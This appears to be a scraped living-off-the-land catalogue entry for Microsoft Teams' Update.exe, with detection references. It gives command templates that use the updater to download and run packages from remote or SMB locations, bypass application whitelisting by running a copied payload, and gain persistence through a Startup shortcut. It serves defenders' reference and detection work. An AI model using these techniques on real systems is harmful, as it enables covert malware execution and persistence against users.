Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation. Located at: C:\Users\<username>\AppData\Local\Microsoft\Teams\update.exe.
update update Sandbox: execFile · Timeout: 30s
network.transfer.download security.defense-evasion.bypass security.execution.command Outputs
process.output Command execution output
network_trafficprocess_spawn Produces
process.output| Resource | Value |
|---|---|
| CPU | low |
| Memory | 16 MB |
| Network | medium |
| Disk I/O | low |
The above binary will go to url and look for RELEASES file and download the nuget package. (Download binary)
Update.exe --download {REMOTEURL} The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)
Update.exe --update={REMOTEURL} The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)
Update.exe --update={REMOTEURL} The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. (Download and execute binary)
Update.exe --update={PATH_SMB:folder} The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. (Download and execute binary)
Update.exe --update={PATH_SMB:folder} The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)
Update.exe --updateRollback={REMOTEURL} The above binary will go to url and look for RELEASES file, download and install the nuget package. (Download and execute binary)
Update.exe --updateRollback={REMOTEURL} Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied. (Application Whitelisting Bypass)
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}" The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. (Download and execute binary)
Update.exe --updateRollback={PATH_SMB:folder} The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA. (Download and execute binary)
Update.exe --updateRollback={PATH_SMB:folder} Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied. (Execute binary)
Update.exe --processStart {PATH:.exe} --process-start-args "{CMD:args}" Copy your payload into "%localappdata%\Microsoft\Teams\current\". Then run the command. Update.exe will create a shortcut to the specified executable in "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup". Then payload will run on every login of the user who runs it. (Execute binary)
Update.exe --createShortcut={PATH:.exe} -l=Startup Run the command to remove the shortcut created in the "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup" directory you created with the LolBinExecution "--createShortcut" described on this page. (Execute binary)
Update.exe --removeShortcut={PATH:.exe}-l=Startup | Type | Rule / Indicator |
|---|---|
| sigma | https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml |
| ioc | Update.exe spawned an unknown process |
update is a Windows LOLBin. Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation. Located at: C:\Users<username>\AppData\Local\Microsoft\Teams\update.exe.